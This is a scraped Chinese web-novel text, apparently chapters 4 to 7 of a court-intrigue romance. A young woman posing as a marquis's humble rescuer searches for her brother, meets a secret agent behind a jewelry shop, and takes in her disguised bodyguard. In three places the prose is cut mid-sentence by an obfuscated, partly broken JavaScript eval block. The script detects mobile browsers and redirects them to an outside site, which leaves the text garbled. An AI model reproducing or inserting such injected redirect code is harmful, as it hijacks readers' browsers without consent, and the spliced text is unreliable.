出了承安堂,黛春脸上的笑就落下了,斜斜睨了云镜纱一眼,语气平平道:“云姑娘,这边请。” 说完不管云镜纱反应,扭头就走。 态度嚣张至极,完全没将云镜纱这个侯爷救命恩人放在眼里。 芳音气得跺脚,“姑娘,她也太张狂了。” 云镜纱摇头,轻声道:“跟上吧。” 芳音咬唇,硬是把气咽下了。 黛春步子迈得极大,风风火火的,云镜纱只好加快步伐追上她。走了大概两刻钟,桃蕊院到了。 这院子的确布置得很是精致,院内栽着成年男子腰粗大小的桃树,现下花开得正好,花心吐蕊,粉蝶环绕,院内随处可见盆栽,杜鹃、春兰争相绽放。 三间厢房立在北面,琉璃屋脊兽威风凛凛,八角美人灯挂在檐下,风过时,风铎叮铃作响,灯上美人活灵活现,仿佛从画中走出来一般。 下人们站成一排,恭敬垂首。 黛春目光睃巡,语气淡然,“云姑娘往后便安生住在此处,若有短处,只管吩咐就是。” 话中之意,不像是让她“安生”,应当是“安分”才对。 云镜纱柔顺点头,“劳姑娘替我谢过许……侯爷和夫人。” 黛春看她一眼,下巴微抬,“夫人跟前事多,奴婢不便与姑娘寒暄,姑娘歇着吧。” 脚下步子一转,施施然出了院。 芳音很是不忿,瞪着她的背影。 云镜纱摇摇头,对一院子的丫鬟婆子道:“诸位有劳。不知这院子是哪位管事?” 打头的两名姑娘对视一眼,福了福身,“奴婢敏良。” “奴婢桃杏。” “见过云姑娘。” 云镜纱扶起二人,抿着唇笑容腼腆,“我出身乡野,不懂高门大户的规矩,这院子以前是何行事,往后一切如常即可,只是要劳累二位姑娘了。” 桃杏先是一喜,随后挑剔地打量云镜纱一眼,目光一怔,默默垂下眼。 倒是敏良泰然处之,不卑不亢道:“姑娘言重了,都是奴婢分内之事。里间已备了水,请姑娘先沐浴更衣。” 云镜纱笑,“多谢。” 她不习惯沐浴时有人伺候,芳音这几日已经习惯了,并未进浴房。桃杏乐得清闲,躲在院里和小丫鬟们说闲话。 敏良把衣物放好,叮嘱一番后便在外候着。 一时之间,浴房内只剩云镜纱一人。 她垂着眼,缓缓解开腰上系带,褪去身上衣物,步入浴桶。 “哗”的一道入水声,乌发水草一般散在水面上,云镜纱靠着浴桶闭眼,洗去多日疲乏。 小半个时辰后,她擦干身子穿上衣裳,带着浑身水汽离开浴房。 听见动静的芳音和敏良望去,这一眼,却是呆住了。 侯府准备的衣物自是极好的,云镜纱穿着葱白色长裙,那裙子很是素净,虽未绣花样,离得近了,却能瞧见流光溢彩的暗纹。 裙摆拂过逶迤水痕,仿佛遇水绽放的菡萏。 湿发贴在两鬓,水珠顺着发尾滴落,眉眼含着水汽,仿佛两山之间缓缓流淌的溪流,黄昏的霞光一照,醺然旖旎。 云镜纱微微一愣,“为何这么看我?” 敏良举着帕子绕到她身后,轻轻揉搓着一头湿发。 云镜纱柔声道谢。 芳音此刻方回过神来,赞叹道:“云姑娘,您可真美。” 云镜纱面带赧然,不知想到什么,翘起的嘴角渐渐放平。 院子里的桃杏透过窗子往里睃了一眼,听见赞美声,眼里的惊艳散了,撇撇嘴在心里不屑冷哼。 再美有什么用?有些东西,从一出生就注定了。 胡思乱想了一通,敏良蓦地在里边唤她,“桃杏,差人去拿云姑娘的晚膳。” 桃杏白眼一翻,没好气道:“知道了。” …… 吃了晚饭,云镜纱坐在窗边,仰头看一半藏在云里的月亮。 芳音奉上茶,凝她雪白姣美的侧脸,迟疑道:“姑娘今日心情不畅?” 云镜纱摇头。 过了片刻,她轻声道:“芳音,侯爷和夫人成婚多久了?” 芳音是侯府家生子,她爹年轻时跟着老侯爷识了几个字,加之又有几分聪明,被老侯爷派去铺子管账,对侯府的事也算有几分了解,偏头想了想,“应当有六年了吧。” “六年……这么久啊。” 尾音散开,一丝惆怅随风而逝。 芳音点头,“侯爷与夫人年少相识,夫人及笄后两家便开始商讨婚事,一年后夫人便嫁进了侯府,多年来一直恩爱如初。” 此话一出,芳音暗道不好,见云镜纱面色暗淡不少,张了张唇,呐呐喊:“姑娘……” 回京前许玉淮联系的管事正好是芳音她爹,得知侯爷让他派个丫鬟去伺候一名姑娘,脑子立马活泛起来。 哪怕他不在京城,也听说了这么多年侯爷身边只有夫人一个正妻,连个通房都没有,可这次回京竟带了个姑娘。 就算侯爷没有其他念头,但那姑娘对他而言一定是特殊的。 管事回去一合计,见了几个闺女,挑了性子最活泼讨人喜欢的芳音。 若那姑娘有大造化,往后也能提携自个儿一家子,若是个不中用的,一个女儿罢了,也没什么打紧的。 芳音离开前,她爹谆谆叮嘱了一番,这几日旁观许玉淮和云镜纱的相处,也看出了几分名堂。 眼珠一转,见桃杏不在,敏良离得远,她悄声道:“侯爷如何待姑娘的,奴婢都看在眼里,兴许是刚回府,侯爷总得顾忌夫人几分,姑娘且耐心等等,过些时日,总能如愿的。” 云镜纱侧了侧身子,避开芳音的视线,“我如今的愿望,只有找到哥哥。” 芳音只当她难为情,笑道:“无论什么心愿,姑娘定会达成。” 云镜纱:“你下去歇着吧,我想一个人待会儿。” 芳音没多想,“诶。” 夜里风忽然大了,吹得桃花簌簌,沙沙作响,花瓣舞了半空,急急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279130|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落地。 敏良将床铺好,一转身当即吃了一惊,“好端端的,姑娘怎的哭了?” 她几步走到窗边关了窗子,“风大,姑娘对着风哭,当心坏了眼。” 她没问云镜纱为何流泪,只专注地替她拭去脸上泪痕。 木窗阖上,隔绝了屋外响动。 云镜纱杏眼窘迫,面上尴尬得羞红,拿过帕子遮住自己半张脸,闷声道:“让你看笑话了。上京第一日,我衣食不短,可一想到哥哥如今不知身在何处,可有热饭吃、有衣御寒,我心里就难受得紧。” 敏良劝慰两句,“姑娘放心,有侯爷相助,想必姑娘很快就能寻得兄长。” 云镜纱杏眼微抬,“真的吗?” 敏良呼吸微窒。 被这样一双水灵灵的眼睛殷切地看着,哪怕她这个姑娘也招架不住。 晃了一瞬,她点头,“自是。夜深了,姑娘可要安置?” 云镜纱掩唇,“好。” …… “嘶,你要烫死我吗?” “刺啦”一声,绘牡丹图青瓷汤药砸下,碎片四溅,汤水撒了一地。 盛汤的小丫鬟慌得跪下叩头,哭着求饶,“都是奴婢的错,是奴婢笨手笨脚,求夫人恕罪,夫人饶命。” 舒含昭气极,厉声喝道:“拉下去,打二十板子,逐出府去。” 黛春喊了声“来人”,几个粗使婆子垂首进门,问安后拖着小丫鬟出去。 “夫人饶命,夫人饶命啊,奴婢再也不敢了……” 叫嚷声远远传来,舒含昭烦躁不已,“大清早的,可真是晦气。” 另一名大丫鬟夏琼寻了药膏,轻轻抹在舒含昭手背上黄豆大小的烫伤处,“不过是些不入流的东西,夫人何必动气。” 舒含昭眼里涌出怒火,“虽不入流,但着实碍眼。昨日见她第一面,瞧她看夫君时那双含着泪的狐媚眼,我心里就不痛快。” “倚窗落泪,可真是令人心疼,使些上不得台面的手段给谁看呢?” 黛春笑,“不管给谁看,反正咱们侯爷不接招。就算她生了张仙女似的脸又如何,侯爷和夫人好着呢。哪怕她是个真仙女,侯爷心里也只有夫人一个。” 这话听得舒含昭眉眼舒展,畅快地笑出声。 “继续让人盯着,她若是要去缠着侯爷,即刻来报。” 夏琼:“是。” 一只手撩起珠帘,落下时拇指大的珍珠相撞,发出悦耳声响。 穿着绛紫色夹棉长褙子的嬷嬷走进来,“夫人理那玩意作甚?” 将药碗搁在桌上,吴嬷嬷道:“药来了,夫人快趁热喝了。您的当务之急,是快些生个小世子。” 舒含昭捂鼻,嫌弃地别过脸,压下眉怒道:“日日喝月月喝。我到底还要喝到什么时候!” 屋内丫鬟立即跪了一地。 吴嬷嬷劝道:“这药方是国公夫人特意为夫人寻的,据说极灵。夫人再忍耐些时日,好歹将这几副药喝完,您难道不想和侯爷有个孩子?” 舒含昭沉着脸不说话。 她当然想给许玉淮生个孩子。 她不说话便是默认了,夏琼端起药碗,轻轻吹凉,喂到舒含昭嘴边。 黛春招手,几个丫鬟从地上爬起,捧着几盘蜜饯上前。 见舒含昭勉为其难喝了勺药,黛春给她喂了颗蜜饯,松了口气,心里却很是不解。 夫人与侯爷都是康健之人,夫妻俩又极为恩爱,可这么多年,怎么就是怀不上呢? 5. 第 5 章 翌日,黄老夫人果真差人去唤云镜纱前去说话。 老夫人信佛,云镜纱一跨进门,就见她歪在榻上,几个丫鬟端着茶水糕点在一旁伺候,另有一名容貌清秀的姑娘捧着佛经念着。 佛经枯燥,偏那姑娘音色上好,嗓音清脆,念起来很是生动。 秀妍小声对黄老夫人道:“老夫人,云姑娘到了。” 黄老夫人睁眼,挥手让念佛经的姑娘绮琴停下,笑着招手让云镜纱上前来。 她抬着眼,细细将云镜纱上上下下瞧了遍,满意点头,“这衣裳不错。” 这姑娘看着娇娇弱弱的,但黄老夫人眼光毒辣,一眼就能看出她藏在衣裳里的身段定是极好。 昨日她让人送去些窄身的衣裳,今日一见,果不其然。 玲珑有致,臀部又圆又翘,看着就是好生养的。 黄老夫人面色柔和,将行礼的云镜纱拉起,柔声道:“昨日歇得可好,下人们可有为难?” 云镜纱琥珀般的眸子含着感激,“甚好,几位姑娘很是周到,镜纱谢过老夫人和夫人。” “什么谢不谢的。” 黄老夫人拍拍云镜纱手背。 见云镜纱目光落在捧着佛经的绮琴身上,自嘲道:“这人老了就是不中用,别说提笔,就连字都看不分明了。” 云镜纱笑,“老夫人朝气蓬勃,哪里就老了?” 她好奇问:“您要写什么?” 黄老夫人:“淮儿前阵子生死不明,我想着抄些佛经求佛祖保佑他无事。如今他虽回来了,可这事也不好停。” 顿了顿,黄老夫人道:“我记得,昨日云丫头可是说自己会识字写字?” 云镜纱会意,轻轻点头,低声道:“既是为侯爷祈福,老夫人不若让我抄吧,正好我闲着也是无事。” 黄老夫人看了她轻颤的长睫一会儿,笑意深深,“有劳云丫头了。” 云镜纱抿唇笑,“不麻烦的。” 秀妍命人摆上笔墨纸砚,请云镜纱偏房入座。 一个字写完,娟秀清雅,端方好看,秀妍惊讶看她一眼,悄声离开,俯身在黄老夫人耳边低低说了两句。 黄老夫人略有惊讶,随后满意点头。 一连三日,云镜纱都会来承安堂抄写佛经。 她毫无不满,不骄不躁,恭敬柔顺,令黄老夫人很是喜欢。 这日,云镜纱落笔。 秀妍捧着佛经放入匣子,妥帖收好。 黄老夫人让人奉茶,“这几日辛苦云丫头了。” 云镜纱浅啄一口,眸光温软,“抄些经书罢了,镜纱不觉得苦。” 黄老夫人笑,“来京城这么多日,云丫头尽陪我这老婆子了,明日让淮儿带你去好好逛逛。” 云镜纱沉默须臾,摇头,“侯爷朝中忙碌,不过一桩小事,如何能劳烦他?老夫人让我自己去吧。正好……” 她面上露出愁绪,“我想去找找哥哥。” 黄老夫人叹道:“你是个心善的。既然心中挂念,那就去转转,免得在府中日日忧心。” “秀妍,给云姑娘拿些银票。” 云镜纱连忙摆手拒绝,面色涨红,“不、不可。我怎么能要老夫人的钱?” “怎么不行?” 黄老夫人故作不悦,“你是侯府的大恩人,什么要不得,你不想要,莫不是看不上我这老婆子?” “怎么会?”云镜纱满脸羞红,与黄老夫人对视片刻,默默垂首,嗓音温软,“谢老夫人。” 黄老夫人当即笑了,“这才对。” …… 翌日,云镜纱一早就带着敏良和芳音离府。 得知消息的舒含昭只淡淡“嗯”了一声。 这两日,她日日要喝苦涩汤药,心情很是烦闷,而云镜纱暂时安分守己,不是待在桃蕊院就是去承安堂,并未悄悄与许玉淮相会,她便懒得分神搭理她,瞪着被吴嬷嬷端上来的药,恨不得当场摔了。 而云镜纱也没工夫去想舒含昭是何心情,出了侯府,她忐忑又期待地透过车窗瞧两眼街头,问道:“敏良,进京赶考的举人们,一般会去什么地方?” 敏良想了想,“每年春闱,双元楼都是最热闹的地方。” 见云镜纱和芳音不解,敏良解释,“双元楼在京城本是寻常,直到有年科举,两名举子在双元楼斗文,赞其酒水醇厚,堪比仙酿,引无数读书人喝彩。” “那两名举子后来一人成了状元,一人成了探花,店家便将酒楼更名为‘双元楼’,那被赞过的酒也被称为双元酒。此后双元楼名满京城,凡上京赶考的举子,皆要去双元楼一睹状元探花的墨宝,喝杯双元酒,讨个好彩头。” 见二人面露恍然大悟之色,敏良抿唇笑笑,“云姑娘可知,那状元探花是谁?” 云镜纱摇摇头。 敏良:“一人乃是我朝丞相,另一人则是陛下之师,当朝太傅。” 云镜纱微微怔住,随后笑了,“两位大人相识于微末,后又同为弘股之臣,报效朝廷,着实是一段佳话。” 她往外看了眼,“那咱们就先去双元楼看看吧。” 敏良点头,向外吩咐,“去双元楼。” …… 未至正午,双元楼已宾客如云,门庭若市。 云镜纱一进门,立即有店小二面带笑意迎来,“姑娘里面请。” 敏良问:“姑娘,订个雅间吧?” 云镜纱灵动杏眸轻轻一转。 大堂内坐着不少穿着窄袖交领长袍,头戴儒巾的书生,正举杯谈笑自如,抑或是高谈阔论。 云镜纱柔声道:“就在大堂吧。” 店小二应承,“好嘞,姑娘这边请。” 云镜纱落座,随意点了几样菜,趁着菜未上齐,往旁边桌走去。 “诸位公子。” 几名读书人正在说笑,忽然听见一声三月春风般舒缓柔和的嗓音,皆是一怔。 转头看去,正正对上一双宛若朦胧烟雨,蓄满柔情的杏眼。 面覆白纱的姑娘眼睛轻轻一弯,声音越发地柔,低低喃喃的,无端让人生醉。 “几位公子见谅,小女子冒昧,想与诸位打听一人。” 几人纷纷回神,其中一名相貌堂堂的书生下意识打开折扇,唇畔含笑,温声道:“姑娘想打听谁?” 这几人乃是好友,知那书生最是怜香惜玉,友善地笑了笑。 云镜纱柔声道:“那人姓云,名唤景舟,是今科举子,不知公子可识得他?” “姓云?云景舟啊……” 折扇书生话音霎时一顿。 云镜纱仿佛看不见书生们微变的神色,依旧温柔询问:“公子知道他?” 折扇书生僵着脸摇头,“不、不认识……” 云镜纱失落,“多谢公子告知,小女子打扰了。” 她微一屈膝,往另一桌走去。 折扇书生恋恋不舍地注视着她的背影,唇瓣张了张,他身侧之人立即拽住书生的袖子,对他摇头。 书生收回视线,丧气垂头。 问遍了大堂,竟无一人识得云景舟。 云镜纱走向最后一桌。 那里坐了个少年,玄色窄袖交领长袍,袖口领口皆用金线绣着福字纹,红绳绑着长发,随着低头的动作落在肩上。 少年垂着头,一手支颐,一手摩挲着酒杯,静默不语。 轻轻柔柔的一声“公子”,令他霍地抬头,目光如炬。 云镜纱心跳仿佛漏了一拍,无意识后退一步,手指轻颤。 看清面前之人,少年眼中寒光散去不少,“抱歉。” 他生得很是俊秀,白白净净的,只是眉眼清冷,不知不觉便与人拉开距离。 云镜纱摇头,小心翼翼问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279131|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不知公子,可认得云景舟?” 少年淡淡道:“不认识。” 对上她那双杏眼,微微一怔,又问:“他是何人,与你是什么关系?” 云镜纱:“是此次赴京赶考的举子,也是我的兄长。” 少年神色更淡,“双元楼专供举人休憩宴饮,若他上京,定会来此。姑娘既遍寻不得,想必那位云举人应当是出了什么差池,并不在京城。” 云镜纱勉强掩饰住失落,“多谢公子。” 少年盯着她的眼睛,略有失神,尚未反应,口中已道:“姑娘不该言明与云举人的关系,也不该如此大张旗鼓地寻他。倘若他有什么仇敌,若是知晓姑娘的存在,岂不是让姑娘陷入险境?” 云镜纱不解,“公子这是何意?” 少年却垂下眼,不愿再与她交谈。 云镜纱等了片刻,没等到回复,只好离开。 转身之际,有人从她身侧而过,对那少年嚷嚷,“唐贤弟!你怎么来了?” 语气很是震惊惶恐。 那少年姓唐? 云镜纱步子顿了顿,微微偏头。 唐姓少年冷冷一笑,呵道:“我还怕他不成?” 二人已在攀谈,云镜纱眸光下垂,缓步轻移。 菜已上齐,她却没什么胃口,草草吃了两口,起身离去。 芳音见她眉眼恹恹,宽慰道:“姑娘别急,有侯爷在呢,肯定能找到云公子,让姑娘兄妹团聚。” 云镜纱勉强牵唇,“嗯。” 敏良眸光轻移,“那边有家卖成衣的铺子,姑娘可要去看看?” 云镜纱婉拒,“我的衣裳已经够了。” 敏良坚持,“姑娘去看看,若有喜欢的,正好买回去。” 姑娘家都喜欢衣裳首饰,等她逛起来,就没功夫伤怀了。 芳音也道:“姑娘去吧,奴婢还没逛过京城的铺子呢。” 话里满是跃跃欲试。 云镜纱拗不过她们,只好点头。 两人带着她逛了几个成衣和胭脂铺子,买了好些衣裳。 出了胭脂铺子,敏良径直拉着云镜纱去了一家首饰铺子。 “这琳琅阁可是京城最有名的首饰铺子之一,姑娘去看看吧。” 云镜纱无奈,只得依着她。 琳琅阁不愧其名,甫一进去,只觉满目琳琅,珍珠、宝石、翡翠制成的簪子、璎珞、头冠数不胜数。 芳音小小地“哇”了一声。 云镜纱边看边走。 迎面走来个姑娘,低着头脚步匆匆,没注意四周,一头撞在云镜纱身上。 茶水顿时洒了云镜纱一身,裙子被洇湿,湿痕很是显眼。 “姑娘!” 芳音惊呼。 那姑娘霎时白了脸,连连告罪。 妇人打扮的掌柜的听见动静赶来,瞪了姑娘一眼,笑道:“下人不懂事,惊扰了贵客,还望贵客恕罪。” 敏良沉着脸,“掌柜的打算怎么办?” “我在楼上有套备用衣物,姑娘若是不嫌弃,可先换上,凡是姑娘看上的东西,一概打对折,姑娘看如何?” 敏良面色微缓,“可。” 掌柜的忙迎云镜纱上楼,领着她去了最里头的一间屋子。 敏良和芳音知她不喜人伺候,候在门外。 掌柜的会意,给云镜纱指了指地方,也退了出去。 房门阖上,云镜纱环视一周,细细打量过后来到博古架旁,左三右五扭动摆在上头的玉麒麟。 “咔嚓”一声轻响,衣柜后露出一道暗门。 云镜纱缓步而入。 暗室里站了名中年男子,恭声见礼,“姑娘。” 云镜纱面无表情地颔首应了,“坐吧。” 裙角一扬落在椅上,揉着额角,语气冰冷厌烦,“做了一日戏,可真够累的。” 6. 第 6 章 中年男子递上茶盏,“姑娘快润润喉,估摸着您这几日定要来一趟,我特意为姑娘泡的茶。” 云镜纱喝了口,眉间冷意散去不少,“辛苦平叔了。” 平福微笑摇头,“这算什么辛苦。” 放下茶盏,云镜纱问:“平叔,景哥在何处,他可是惹上了什么人?” 平福笑道:“姑娘放心,公子万事安好,如今正在城外。等殿试时,他会出现的。” 云镜纱颔首。 她本就不担心云景舟的安危,听平福这么一说,更是放心。 “那位……” 两个字一出,云镜纱便住了嘴。 平福会意,苦笑着摇头。 云镜纱若有所思,“看来,我暂时还得留在侯府。试试看能不能让许玉淮带我进宫。” 平福欲言又止,在云镜纱察觉之前,将话咽回去。 云镜纱食指轻叩桌面,“派人时刻注意常远侯府的动向。” 平福点头,“好。此外,姑娘的人已经安排好了。” 云镜纱抬眸,没见着熟悉人影,便知平福说的是何人,轻点下颌。 担心进来的时间太长会引起外边人怀疑,她站起身。 余光掠过桌上放着的突兀木盒,云镜纱垂眸,“这是?” 她打开盒子。 里边躺着一枚墨玉玉牌,色重又细腻,漆黑如墨,上刻雨打菡萏,雨丝倾斜,细密如针,菡萏吐蕊,堪称巧夺天工。 平福道:“手下人得了块上好的墨玉,费时半年制成这块玉牌,还未摆出去,被东平郡王瞧上了,说是要送人,明日便要送去郡王府。” 云镜纱将盒子盖回去,“好生伺候着。” “是。” …… 门推开,等得无聊的芳音立时看过去,“姑娘怎么这么久才出来?” 云镜纱扯了扯身上的衣裳,面上略有羞赧,小声道:“这衣服我不太会穿,多费了些功夫。” “哦。” 芳音了然点头。 敏良道:“姑娘,咱们先下去吧。” 三人下了楼,管事笑着走来,仔细为云镜纱介绍钗环。 她挑着买了几样,和芳音敏良出了琳琅阁。 见天色不早,敏良道:“姑娘,该回了。” 云镜纱:“好。” 敏良和芳音一左一右护着她上了马车,打道回府。 走了没一会儿,马车忽然停住,嘈杂声隔着车窗钻进车厢。 “前面发生了何事?”云镜纱迟疑,“怎么好像有哭声?” 敏良开了窗子。 百姓们围成一圈,最中间站着两名中年男子,二人皆身着褐色短衣,身形粗壮,颇有些凶神恶煞。 其中一人手中牵着绳索,绳子上绑着一名少女。那少女年岁不大,穿着破烂,布条下露出一双布满伤痕的手臂,蓬乱的头发下一双乌溜溜的大眼睛,甚是灵动。 她跪在地上一个劲地磕头,“救救我,救救我。哪位好心人若是愿意买我回家,我定当牛做马报答,求求你们,求求你们了。” 少女嗓音稚气,尽是恳求。 中年男子呵斥,“赶紧走,走!” 少女置之不理,哭着磕头,“我力气大,我能干很多活儿,求求好心人买下我吧。” 人群中有人动了恻隐之心,刚要开口,中年男子喝道:“她一顿要吃三碗饭,四个大馒头,我看你们谁养得起!” 此话一出,不少人顿时退缩。 京中繁华,可也不是人人都能穿金戴银,这里大多数都是普通百姓,谁也不愿花几两银子买了吃白饭的回去。 少女呜呜地哭,“我能干活的,别不要我……” 听着百姓们讨论,云镜纱大致知晓,是这姑娘家中把她卖去了青楼,她心里不愿,趁着下人不注意跑了。 没想到却被追上,姑娘便将事情闹开,在大街上求救。 云镜纱不忍,殷切注视敏良,“我能买下她吗?” 敏良点头,“一个下人而已,老夫人不会在意。姑娘既然想买,那就买吧。” 云镜纱抿唇笑,“好。” 她正要起身,敏良已推开车门,“奴婢去就行。” 云镜纱坐了回去,透过车窗看敏良与人交涉。 那中年男子起初不愿,也不知敏良说了什么,他虽说面色不虞,但还是应了。 敏良递出一包银子,中年男子掂了掂,喜笑颜开地给少女解了绳索。 看到此处,云镜纱放下车帘。 没过多久,敏良便牵着那少女的手进了车厢。 大抵是敏良与她说过,少女一进来便磕头道谢,“谢谢姑娘,谢谢姑娘。” 云镜纱忙扶她起来,“你叫什么名字?” 少女小声道:“尹寻春。” “拨雪寻春,真是个好名字。”云镜纱温柔顺了顺她蓬松的头发,“以后,你就跟着我吧。” 尹寻春重重点头,“好。” 回了侯府,云镜纱让敏良先带尹寻春回桃蕊院,她则是带着芳音去见黄老夫人。 得知云镜纱买了个下人,黄老夫人果然没多问。听芳音说今日一无所获,又见云镜纱眉眼间含着郁色,宽慰了几句,便让她回去休息。 云镜纱温顺退下。 回桃蕊院的路上,来往下人面色肃正,脚步匆匆,与往日很是不同。 云镜纱瞧了两眼,心下沉思。 回去之后,她还未让人打听,舒含昭跟前的黛春就带着人到了。 她淡淡斜了云镜纱一眼,“明日侯爷与夫人将在碧云轩宴请贵客,贵客身份尊贵,未免冲撞,姑娘明日莫要乱走,安分待在桃蕊院即可。” 说完,她一刻也没多待,拂袖就走。 趾高气昂的态度令芳音很是不忿。 云镜纱倒是没什么不满,余光瞥见桃杏偷偷摸摸追着黛春去了,她沉吟着回房,在心中思索明日的贵客是何身份。 敏良带着梳洗好的尹寻春过来,她抬起头,瞧着眼前模样大变的少女。 十三四岁的模样,身材很是娇小,长了一张娃娃脸,两颊肉嘟嘟的。她换了身碧色衣裙,头上梳着双髻,绿色发带垂落,娇俏又可爱。 云镜纱招手唤她近前,笑道:“果真生了一副好模样。” 尹寻春听她夸赞,脸上乐滋滋的,双眼弯弯,更显灵动。 敏良去取了晚膳,“姑娘,该用膳了。” 云镜纱拉着尹寻春过去。 听见喉咙吞咽的声音,她失笑,“一起吃吧,这么多菜,我一个人也吃不完。” 敏良犹疑间,尹寻春已经在云镜纱身旁坐下了。 过了须臾,芳音也跟着落座。 敏良看了看云镜纱,又看了看两人,只好坐下。 云镜纱饭量小,但中午只吃了两口,现下已是腹中空空。 吃了一碗,她放下筷子。 尹寻春果然如那中年男子说的那般,饭量极大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279132|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她筷子使得快如残影,埋头狂吃,眼前的菜很快就见了底。 速度虽快,但她的吃相并不粗鲁,两颊鼓鼓的,看了让人食欲大增。芳音和敏良本已经饱了,见她吃得香,不知不觉又吃了小半碗。 一桌子菜大半部分进了尹寻春的肚子。 她放下筷子,不觉打了个饱嗝。 听见声音,尹寻春小脸涨红,连忙捂住嘴。 芳音笑她,“饱了?” 尹寻春羞涩点头。 芳音疑惑,“你吃这么多,家里是怎么把你养这么大的?” 尹寻春眨眨眼,小声道:“家里人多,我一直吃不饱,饿了就上山抓野鸡野兔,找果子吃。” 她抿抿唇笑,“今天是我这段时日第一次吃饱饭,姑娘真好,姐姐们也好。” 云镜纱端着茶盏笑而不语,余光扫了尹寻春一眼。 芳音心疼,“哎哟,这小丫头,真是可怜。” 敏良让人来收拾碗筷,“你好好干活,往后都能吃饱。” 尹寻春一个劲点头,“好!” 夜渐深,匆匆归来的桃杏听说主仆几人同坐一席,瞪了敏良三人一眼,摸着饿瘪的肚子去找吃的。 云镜纱没管她,沐浴更衣后上床歇息。 敏良熄了灯,只在床头留下一盏,轻轻阖上门。 今夜无月,灯影朦胧,云镜纱闭着眼,双手规矩地放在小腹。 夜风肆虐,将窗子吹出响动,悉悉索索的声音逐渐靠近。 云镜纱睁眼,淡淡道:“寻春。” “姑娘。” 尹寻春略显兴奋的嗓音在夜里响起。 她撩起帐子钻进去趴在床边,下巴放在叠起的手背上,圆溜溜的大眼睛盯着云镜纱看,小圆脸委委屈屈的,“这两个多月,真是委屈姑娘了。” 姑娘原本打算带着她上京寻公子的,可意外认出漂在水面的许玉淮,立马换了主意。 不仅救下许玉淮,还写信让公子配合。 这些时日,她藏在县城里,连见姑娘一面都得偷偷摸摸的。 也不知那臭男人上辈子修了什么福分,竟然能让姑娘亲自照料。 “这算什么委屈。” 云镜纱偏头去看床边的小姑娘,目光落在她手臂上,“把手藏好了,莫要让人发现。” 尹寻春摸了下“假伤”,颇有几分骄傲,“姑娘放心,她们发现不了。” 云镜纱知道她的本事。 尹寻春是她十岁那年救下的,小丫头因吃得多,家里养不下,便将她卖了。 不过那时候她没能逃出来,在青楼里吃尽了苦头,瘦得跟皮包骨似的,身上没一处是好的。 幸好那老鸨犯了事,青楼被查抄,尹寻春人小,趁机逃了出去,正好被去“外祖”家探亲的云镜纱和云景舟遇上。 云镜纱给了她几个馒头,这小丫头就缠上她了,怎么也赶不走。 无奈之下,只能把她留下。 后来无意间发现这丫头胃口极大,力气也大,是罕见的习武奇才,云景舟便让人教尹寻春练武,贴身保护云镜纱。 练了没两年,这丫头已经能以一打十了。 云镜纱拍拍尹寻春的头,“明日府中有贵客,你悄悄去看看。离远些,别让人发现了。” “好。” 云镜纱小弧度点头,轻轻打了个哈欠,“夜深了,去睡吧。” 尹寻春替云镜纱掖了掖被子,悄无声息从窗口离开。 7. 第 7 章 今日天气不错,春风和煦,杨柳依依,桃李缤纷,融融日光笼罩着半个侯府,从屋里往外看,整个屋顶金灿灿的,光是瞧着就让人心情舒畅。 碧云轩早早地就动起来,哪怕云镜纱待在屋里,也能感受到外边的热闹。 敏良坐在外间教芳音绣花,桃杏早不知道去哪儿了。 府中贵客登门,黄老夫人早早派人来告知,今日不必去承安堂了。 云镜纱一时无事,便立在窗前,提笔作画。 画了一半不到,一大清早就没影儿的尹寻春回来了,先是好奇地站在敏良身边看了两眼,又瞧了瞧芳音手里的绣帕,这才磨磨蹭蹭地走到云镜纱跟前。 “看见了?” 尹寻春点点头,又摇摇头,小声回禀,“只模糊看见一个影子,是个男子,身量很高,穿了一身玄衣,身边跟着好多侍卫,大多数身手都不错,还有几个武艺高强的藏在暗处,我怕被发现,没敢多待。” 云镜纱“嗯”了声,对她笑了下,“桌上有糕点,去拿吧。” “姑娘您真好!” 尹寻春欢呼,转身扑到桌上,取了块糕点就往嘴里送。 芳音探头,一脸好笑,“慢点吃,当心噎着了。” 尹寻春头也不抬,含含糊糊道:“有茶,不会噎的!” 云镜纱没了作画的心情,低头凝视未成的画。 无数个念头在心内转了一圈,她搁了笔,用帕子擦手,望着对面屋檐上伸出的粉色桃枝。 用好奇的语气问:“敏良,桃林是不是很漂亮?” 她拘谨地笑了下,“进侯府这么多日,我还没去过桃林呢。” 敏良收了针,“姑娘想去?” 云镜纱眼睛微亮,“可以吗?” 未等回复,眼里的光渐渐暗了,失落道:“夫人特意让人命我不许乱走,应是不可以吧。” 敏良想了想,“碧云轩和桃林隔了好几个院子,远着呢,侯爷夫人宴客,应当不会来此。况且桃林就在桃蕊院隔壁,也算不得乱走,姑娘想去就去吧。” 